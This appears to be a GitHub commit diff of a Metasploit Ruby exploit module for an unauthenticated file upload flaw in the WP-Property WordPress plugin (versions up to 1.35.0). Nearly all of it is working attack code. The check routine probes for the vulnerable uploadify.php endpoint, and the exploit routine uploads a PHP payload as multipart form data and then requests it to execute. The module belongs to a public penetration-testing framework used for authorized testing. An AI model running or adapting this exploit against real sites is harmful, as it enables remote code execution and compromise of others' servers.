3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
-
7
6
require 'msf/core'
8
7
9
8
class Metasploit3 < Msf ::Exploit ::Remote
10
9
Rank = ExcellentRanking
11
10
12
- include Msf ::Exploit :: Remote :: HttpClient
13
- include Msf ::Exploit ::PhpEXE
11
+ include Msf ::HTTP :: Wordpress
12
+ include Msf ::Exploit ::FileDropper
14
13
15
14
def initialize ( info = { } )
16
- super ( update_info ( info ,
15
+ super ( update_info (
16
+ info ,
17
17
'Name' => 'WordPress WP-Property PHP File Upload Vulnerability' ,
18
- 'Description' => %q{
19
- This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
18
+ 'Description' => %q(
19
+ This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
20
20
plugin. By abusing the uploadify.php file, a malicious user can upload a file to a
21
21
temp directory without authentication, which results in arbitrary code execution.
22
- } ,
22
+ ) ,
23
23
'Author' =>
24
24
[
25
25
'Sammy FORGIT' , # initial discovery
@@ -28,82 +28,62 @@ def initialize(info = {})
28
28
'License' => MSF_LICENSE ,
29
29
'References' =>
30
30
[
31
- [ 'OSVDB' , '82656' ] ,
32
- [ 'BID' , '53787' ] ,
33
- [ 'EDB' , '18987' ] ,
34
- [ 'URL' , 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
31
+ [ 'OSVDB' , '82656' ] ,
32
+ [ 'BID' , '53787' ] ,
33
+ [ 'EDB' , '18987' ] ,
34
+ [ 'URL' , 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
35
35
] ,
36
- 'Payload' =>
37
- {
38
- 'BadChars' => "\x00 " ,
39
- } ,
40
36
'Platform' => 'php' ,
41
37
'Arch' => ARCH_PHP ,
42
- 'Targets' =>
43
- [
44
- [ 'Generic (PHP Payload)' , { 'Arch' => ARCH_PHP , 'Platform' => 'php' } ] ,
45
- [ 'Linux x86' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ]
46
- ] ,
38
+ 'Targets' => [ [ 'wp-property <= 1.35.0' , { } ] ] ,
47
39
'DefaultTarget' => 0 ,
48
40
'DisclosureDate' => 'Mar 26 2012' ) )
49
-
50
- register_options (
51
- [
52
- OptString . new ( 'TARGETURI' , [ true , 'The full URI path to WordPress' , '/wordpress' ] )
53
- ] , self . class )
54
41
end
55
42
56
43
def check
57
- uri = normalize_uri ( target_uri . path , 'wp-content' , 'plugins' , 'wp-property' , 'third-party' , 'uploadify' , 'uploadify.php' )
44
+ uri = normalize_uri ( wordpress_url_plugins , 'wp-property' , 'third-party' , 'uploadify' , 'uploadify.php' )
58
45
59
- res = send_request_cgi ( {
46
+ res = send_request_cgi (
60
47
'method' => 'GET' ,
61
48
'uri' => uri
62
- } )
49
+ )
63
50
64
- if not res or res . code != 200
65
- return Exploit ::CheckCode ::Unknown
66
- end
51
+ return Exploit ::CheckCode ::Unknown if res . nil? || res . code != 200
67
52
68
- return Exploit ::CheckCode ::Appears
53
+ Exploit ::CheckCode ::Detected
69
54
end
70
55
71
56
def exploit
72
- data_uri = normalize_uri ( target_uri . path , 'wp-content' , 'plugins' , 'wp-property' , 'third-party' , 'uploadify/' )
57
+ data_uri = normalize_uri ( wordpress_url_plugins , 'wp-property' , 'third-party' , 'uploadify/' )
73
58
request_uri = normalize_uri ( data_uri , 'uploadify.php' )
74
59
75
- peer = "#{ rhost } :#{ rport } "
76
-
77
- @payload_name = "#{ rand_text_alpha ( 5 ) } .php"
78
- php_payload = get_write_exec_payload ( :unlink_self => true )
60
+ payload_name = "#{ rand_text_alpha ( 5 ) } .php"
79
61
80
62
data = Rex ::MIME ::Message . new
81
- data . add_part ( php_payload , " application/octet-stream" , nil , "form-data; name=\" Filedata\" ; filename=\" #{ @ payload_name} \" " )
63
+ data . add_part ( payload . encoded , ' application/octet-stream' , nil , "form-data; name=\" Filedata\" ; filename=\" #{ payload_name } \" " )
82
64
data . add_part ( data_uri , nil , nil , "form-data; name=\" folder\" " )
83
65
post_data = data . to_s
84
66
85
- print_status ( "#{ peer } - Uploading payload #{ @ payload_name} " )
86
- res = send_request_cgi ( {
67
+ print_status ( "#{ peer } - Uploading payload #{ payload_name } " )
68
+ res = send_request_cgi (
87
69
'method' => 'POST' ,
88
70
'uri' => request_uri ,
89
71
'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
90
72
'data' => post_data
91
- } )
73
+ )
92
74
93
- if not res or res . code != 200 or res . body !~ /#{ @ payload_name} /
75
+ if res . nil? || res . code != 200 || res . body !~ /#{ payload_name } /
94
76
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Upload failed" )
95
77
end
96
78
79
+ register_files_for_cleanup ( payload_name )
80
+
97
81
upload_uri = normalize_uri ( res . body )
98
82
99
- print_status ( "#{ peer } - Executing payload #{ @ payload_name} " )
100
- res = send_request_raw ( {
83
+ print_status ( "#{ peer } - Executing payload #{ payload_name } " )
84
+ send_request_raw (
101
85
'uri' => upload_uri ,
102
86
'method' => 'GET'
103
- } )
104
-
105
- if res and res . code != 200
106
- fail_with ( Failure ::UnexpectedReply , "#{ peer } - Execution failed" )
107
- end
87
+ )
108
88
end
109
89
end
0 commit comments